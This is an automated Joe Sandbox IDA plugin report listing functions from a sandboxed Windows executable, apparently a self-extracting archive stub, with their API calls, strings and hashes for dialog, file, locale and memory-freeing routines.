Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: f176e15e2c48747704e03530b9a4e2d1a0ef8081d8f3f91997fba9e9ace7164a
Instruction ID: b2f5f8aad2fca102566c37c90ac2d87fedcbdd9d740f4c4c7a7ef370dd7522e1
Opcode Fuzzy Hash: f176e15e2c48747704e03530b9a4e2d1a0ef8081d8f3f91997fba9e9ace7164a
Instruction Fuzzy Hash: 07A012311A41174BCA001B30CD09C1576505760702F0086227002C10A0CF308810E500

Function 00B694A3 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,00B69473), ref: 00B694BE

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 774293553f185e901572857e8e8f28df85ef18712376abd7e3448c83fa497007
Instruction ID: 4f2402e479d94f520ddd74cbb0f33cf52a5092f03c28bfb6c5b16302aeac64b3
Opcode Fuzzy Hash: 774293553f185e901572857e8e8f28df85ef18712376abd7e3448c83fa497007
Instruction Fuzzy Hash: 23F0BE30182B048FDF308A249508792BBEC9B12722F048B9ED0F643AD0DB79A84A8B50

Non-executed Functions

Function 00B7A537 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 289timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B612E7: GetDlgItem.USER32(00000000,00003021), ref: 00B6132B
Part of subcall function 00B612E7: SetWindowTextW.USER32(00000000,00B902E4), ref: 00B61341

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00B7A5C8
EndDialog.USER32(?,00000006), ref: 00B7A5DB
GetDlgItem.USER32(?,0000006C), ref: 00B7A5F7
SetFocus.USER32(00000000), ref: 00B7A5FE
SetDlgItemTextW.USER32(?,00000065,?), ref: 00B7A63E
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00B7A671
FindFirstFileW.KERNEL32(?,?), ref: 00B7A687
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00B7A6A5
FileTimeToSystemTime.KERNEL32(?,?), ref: 00B7A6B5
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00B7A6D2
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00B7A6F0

Part of subcall function 00B6D142: LoadStringW.USER32(?,?,00000200,?), ref: 00B6D187
Part of subcall function 00B6D142: LoadStringW.USER32(?,?,00000200,?), ref: 00B6D19D

_swprintf.LIBCMT ref: 00B7A720

Part of subcall function 00B63F5B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B63F6E

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00B7A733
FindClose.KERNEL32(00000000), ref: 00B7A736
_swprintf.LIBCMT ref: 00B7A791
SetDlgItemTextW.USER32(?,00000068,?), ref: 00B7A7A4
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00B7A7BA
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 00B7A7DA
FileTimeToSystemTime.KERNEL32(?,?), ref: 00B7A7EA
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00B7A804
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00B7A81C
_swprintf.LIBCMT ref: 00B7A84D
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00B7A860
_swprintf.LIBCMT ref: 00B7A8B0
SetDlgItemTextW.USER32(?,00000069,?), ref: 00B7A8C3

Part of subcall function 00B7932F: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00B79355
Part of subcall function 00B7932F: GetNumberFormatW.KERNEL32(00000400,00000000,?,00B9A154,?,?), ref: 00B793A4

Strings

REPLACEFILEDLG, xrefs: 00B7A55E
%s %s, xrefs: 00B7A77F, 00B7A8A2
%s %s %s, xrefs: 00B7A70E, 00B7A83A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLoadLocalStringSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 3227067027-1840816070
Opcode ID: 6a0db097589139b8402dacd7d6265b1fe7dfbb6ccf09b74d8bb6be304ae6656b
Instruction ID: d7aed3d62619bf086f25f4baae6ce40928c66254b47b596a369f7be4f332d229
Opcode Fuzzy Hash: 6a0db097589139b8402dacd7d6265b1fe7dfbb6ccf09b74d8bb6be304ae6656b
Instruction Fuzzy Hash: 3D918172548309BFE7219BA0CD89FFB77ECEB8A700F044859B649D6080DB75AA058763

Function 00B67070 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B67075
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000001), ref: 00B671D5
CloseHandle.KERNEL32(00000000), ref: 00B671E5

Part of subcall function 00B67A9D: GetCurrentProcess.KERNEL32(00000020,?), ref: 00B67AAC
Part of subcall function 00B67A9D: GetLastError.KERNEL32 ref: 00B67AF2
Part of subcall function 00B67A9D: CloseHandle.KERNEL32(?), ref: 00B67B01

CreateDirectoryW.KERNEL32(?,00000000,?,00000001), ref: 00B671F0
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00B672FE
DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 00B6732A
CloseHandle.KERNEL32(?), ref: 00B6733C
GetLastError.KERNEL32(00000015,00000000,?), ref: 00B6734C
RemoveDirectoryW.KERNEL32(?), ref: 00B67398
DeleteFileW.KERNEL32(?), ref: 00B673C0

Strings

SeRestorePrivilege, xrefs: 00B67096
\??\, xrefs: 00B670FB
SeCreateSymbolicLinkPrivilege, xrefs: 00B670A0
UNC\, xrefs: 00B67120

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: CloseCreateFileHandle$DirectoryErrorLast$ControlCurrentDeleteDeviceH_prologProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3935142422-3508440684
Opcode ID: 877f39bc527b2ee89b091f9a8f76754d519505965a48e7828d2c9ace57a2fc0f
Instruction ID: 2d294cd962f710fb1a43f0448f70b4b273f414056c7c99c27dc14ccb7dd73050
Opcode Fuzzy Hash: 877f39bc527b2ee89b091f9a8f76754d519505965a48e7828d2c9ace57a2fc0f
Instruction Fuzzy Hash: 26B1CF719442089FDB20EF64CC45BEE77F8EF09704F1444AAF919E7252EB38AA45CB61

Function 00B85B53 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00B85C4B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00B85C55
UnhandledExceptionFilter.KERNEL32(-00000311,?,?,?,?,?,00000000), ref: 00B85C62

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: a781f348c1b89a7058d0ea5d1e1925c003fb8b2380938f2479538c7963e618f4
Instruction ID: ee50eb8fbf27b835813698bb96480ea37f13348b2627cd41ce315d2c63165a19
Opcode Fuzzy Hash: a781f348c1b89a7058d0ea5d1e1925c003fb8b2380938f2479538c7963e618f4
Instruction Fuzzy Hash: F231927591122C9BCB21EF68D989799BBF8EF18310F5041DAE41CA7260EB709B858F45

Function 00B7932F Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00B79355
GetNumberFormatW.KERNEL32(00000400,00000000,?,00B9A154,?,?), ref: 00B793A4

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: a13164f9f611adca9fdd63f8ae84cc177b90d07eef5bbc4d131cfe04a9b5daa9
Instruction ID: 8a3bdd91c34511eec3e69741c07043601778c91f28268f512c061b315adedb02
Opcode Fuzzy Hash: a13164f9f611adca9fdd63f8ae84cc177b90d07eef5bbc4d131cfe04a9b5daa9
Instruction Fuzzy Hash: 6D015A36100359ABDB109FA4ED45FAB77BCEF09710F005562BA08E71A0DB709925CBAA

Function 00B6A8E0 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00B6A905

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: c28dc186f6b4d8b563f57b77843443c6e7a686ec549eb4a1417436cd7dce784b
Instruction ID: 41b821922c8063f1ffb385d5334bdf55d34fb9a2d1deb84d7114b2d65de1b9b6
Opcode Fuzzy Hash: c28dc186f6b4d8b563f57b77843443c6e7a686ec549eb4a1417436cd7dce784b
Instruction Fuzzy Hash: A8F030B590020C8FCB28DF18EE826E577B5F759310F3142D6D91563390DB74AD808F92

Function 00B7DBC3 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001DBCF,00B7D604), ref: 00B7DBC8

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 3f92bf47a76411105c043abb849963b82037c40c558629e41e26bbdd9c6feb0d
Instruction ID: 513618b6bf15bbe89c5f559ddaa9b2f14983a3f69aa53bee5c290faf23e9dd13
Opcode Fuzzy Hash: 3f92bf47a76411105c043abb849963b82037c40c558629e41e26bbdd9c6feb0d
Instruction Fuzzy Hash:

Function 00B88AAA Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00B88AAA

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: e5fc88ddeef61512cb02836193f83caaf4e70c372cb8da645c17fd714130091a
Instruction ID: 37213e68f6f82f8a26ec710e0cb16e502c503b074bdfd8da04bc2cb11ce42d12
Opcode Fuzzy Hash: e5fc88ddeef61512cb02836193f83caaf4e70c372cb8da645c17fd714130091a
Instruction Fuzzy Hash: D9A02230202200CFA3808F32AF0A30C3AE8FA023C0300802EB80AC3230EFB080008B00

Function 00B8958D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00B895D1

Part of subcall function 00B8916C: _free.LIBCMT ref: 00B89189
Part of subcall function 00B8916C: _free.LIBCMT ref: 00B8919B
Part of subcall function 00B8916C: _free.LIBCMT ref: 00B891AD
Part of subcall function 00B8916C: _free.LIBCMT ref: 00B891BF
Part of subcall function 00B8916C: _free.LIBCMT ref: 00B891D1
Part of subcall function 00B8916C: _free.LIBCMT ref: 00B891E3
Part of subcall function 00B8916C: _free.LIBCMT ref: 00B891F5
Part of subcall function 00B8916C: _free.LIBCMT ref: 00B89207
Part of subcall function 00B8916C: _free.LIBCMT ref: 00B89219
Part of subcall function 00B8916C: _free.LIBCMT ref: 00B8922B
Part of subcall function 00B8916C: _free.LIBCMT ref: 00B8923D
Part of subcall function 00B8916C: _free.LIBCMT ref: 00B8924F
Part of subcall function 00B8916C: _free.LIBCMT ref: 00B89261

_free.LIBCMT ref: 00B895C6

Part of subcall function 00B859C2: RtlFreeHeap.NTDLL(00000000,00000000,?,00B89301,?,00000000,?,00000000,?,00B89328,?,00000007,?,?,00B89725,?), ref: 00B859D8
Part of subcall function 00B859C2: GetLastError.KERNEL32(?,?,00B89301,?,00000000,?,00000000,?,00B89328,?,00000007,?,?,00B89725,?,?), ref: 00B859EA

_free.LIBCMT ref: 00B895E8
_free.LIBCMT ref: 00B895FD
_free.LIBCMT ref: 00B89608
_free.LIBCMT ref: 00B8962A
_free.LIBCMT ref: 00B8963D
_free.LIBCMT ref: 00B8964B
_free.LIBCMT ref: 00B89656
_free.LIBCMT ref: 00B8968E
_free.LIBCMT ref: 00B89695
_free.LIBCMT ref: 00B896B2
_free.LIBCMT ref: 00B896CA

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 56b80f9f018b4741a5fecfbe6ac55de5212259396e24b9e413e473660ca740dc
Instruction ID: 76a3a4782cb5b6c731e51602af555ccfd4ae9175aee3b97ecfadbd02d2afc51c
Opcode Fuzzy Hash: 56b80f9f018b4741a5fecfbe6ac55de5212259396e24b9e413e473660ca740dc
Instruction Fuzzy Hash: 4A310A71604701EFEF31BA79D845BA673E9EF00320F1884A9E499D7171EE35AD90CB10

Function 00B7B8BC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00B7B8DD
GetClassNameW.USER32(00000000,?,00000800), ref: 00B7B90C

Part of subcall function 00B70B12: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00B6AC49,?,?,?,00B6ABF8,?,-00000002,?,00000000,?), ref: 00B70B28

GetWindowLongW.USER32(00000000,000000F0), ref: 00B7B92A
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00B7B941
GetObjectW.GDI32(00000000,00000018,?), ref: 00B7B954

Part of subcall function 00B78B22: GetDC.USER32(00000000), ref: 00B78B2E
Part of subcall function 00B78B22: GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B78B3D
Part of subcall function 00B78B22: ReleaseDC.USER32(00000000,00000000), ref: 00B78B4B

Part of subcall function 00B78ADF: GetDC.USER32(00000000), ref: 00B78AEB
Part of subcall function 00B78ADF: GetDeviceCaps.GDI32(00000000,00000058), ref: 00B78AFA
Part of subcall function 00B78ADF: ReleaseDC.USER32(00000000,00000000), ref: 00B78B08

SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00B7B97B
DeleteObject.GDI32(00000000), ref: 00B7B982
GetWindow.USER32(00000000,00000002), ref: 00B7B98B

Strings

STATIC, xrefs: 00B7B912

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Window$CapsDeviceMessageObjectReleaseSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 1444658586-1882779555
Opcode ID: cf3f9b6cd42a157e5a6a0111ffb3030d83e4eeb303b549b878e64aae32e96516
Instruction ID: 5bdc0e722b60150a81b6d666bef0121178dd266e844eeadd6f8e929de7fc57b3
Opcode Fuzzy Hash: cf3f9b6cd42a157e5a6a0111ffb3030d83e4eeb303b549b878e64aae32e96516
Instruction Fuzzy Hash: A421D5725402147BEB216B64DD4AFEE7AACEF05700F00C092FB29B6191CF744E419AF6

Function 00B8622B Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00B8623F

Part of subcall function 00B859C2: RtlFreeHeap.NTDLL(00000000,00000000,?,00B89301,?,00000000,?,00000000,?,00B89328,?,00000007,?,?,00B89725,?), ref: 00B859D8
Part of subcall function 00B859C2: GetLastError.KERNEL32(?,?,00B89301,?,00000000,?,00000000,?,00B89328,?,00000007,?,?,00B89725,?,?), ref: 00B859EA

_free.LIBCMT ref: 00B8624B
_free.LIBCMT ref: 00B86256
_free.LIBCMT ref: 00B86261
_free.LIBCMT ref: 00B8626C
_free.LIBCMT ref: 00B86277
_free.LIBCMT ref: 00B86282
_free.LIBCMT ref: 00B8628D
_free.LIBCMT ref: 00B86298
_free.LIBCMT ref: 00B862A6

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 3a20270e34a7058ff6e7556c593b8a6db5273cf010aaef7f7778628a959c2eea
Instruction ID: d7801c49ea81ebb58fa3b97939171e4906c06007414adc6b739a598249800037
Opcode Fuzzy Hash: 3a20270e34a7058ff6e7556c593b8a6db5273cf010aaef7f7778628a959c2eea
Instruction Fuzzy Hash: D2113F76610608EFCF11FF95C942CD93BA5FF04360B5145A5FA888B272DA31EE51DB80

Function 00B620E6 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 480COMMON

Download Yara Rule

Strings

;%u, xrefs: 00B6241B
xc%u, xrefs: 00B6265B
x%u, xrefs: 00B625FE

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID:
String ID: ;%u$x%u$xc%u
API String ID: 0-2277559157
Opcode ID: 6ff42e0f7eb38bd2ccb290952721f7735ece90d5d35a21509272fb451e69c572
Instruction ID: 6280771cccb5840acc35f50921367d96a429397e77b84ad7bb3d00069cb5e126
Opcode Fuzzy Hash: 6ff42e0f7eb38bd2ccb290952721f7735ece90d5d35a21509272fb451e69c572
Instruction Fuzzy Hash: 2CF126716047804BEB15EB6488A5FFA7BD9AF95300F0844F9FD869B283CB6C9C44C762

Function 00B7995F Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 99windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B612E7: GetDlgItem.USER32(00000000,00003021), ref: 00B6132B
Part of subcall function 00B612E7: SetWindowTextW.USER32(00000000,00B902E4), ref: 00B61341

EndDialog.USER32(?,00000001), ref: 00B799AF
SendMessageW.USER32(?,00000080,00000001,?), ref: 00B799DC
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00B799F1
SetWindowTextW.USER32(?,?), ref: 00B79A02
GetDlgItem.USER32(?,00000065), ref: 00B79A0B
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00B79A1F
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00B79A31

Strings

LICENSEDLG, xrefs: 00B79973

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 5abe6f97eab8944b1ab0dc62cded27ec3626d9d6e32242b995636226477b8e7d
Instruction ID: 7a6aab436771522bc2314a9681610005ea8ea3b80f5a1a5412a7979a3e541f3c
Opcode Fuzzy Hash: 5abe6f97eab8944b1ab0dc62cded27ec3626d9d6e32242b995636226477b8e7d
Instruction Fuzzy Hash: AE2106322052047BE6116B65EE89F3B3BFDEB46B80F018049F659A31A0CF669C01D6B2

Function 00B6922D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 137fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B69232
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00B69255
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00B69274

Part of subcall function 00B70B12: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00B6AC49,?,?,?,00B6ABF8,?,-00000002,?,00000000,?), ref: 00B70B28

_swprintf.LIBCMT ref: 00B69310

Part of subcall function 00B63F5B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B63F6E

MoveFileW.KERNEL32(?,?), ref: 00B69385
MoveFileW.KERNEL32(?,?), ref: 00B693C1

Strings

rtmp%d, xrefs: 00B692F9

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf
String ID: rtmp%d
API String ID: 2111052971-3303766350
Opcode ID: e9a96ab24679dffbaed7314148b44f2acf659b9971491a70f9c9e8eef438b08e
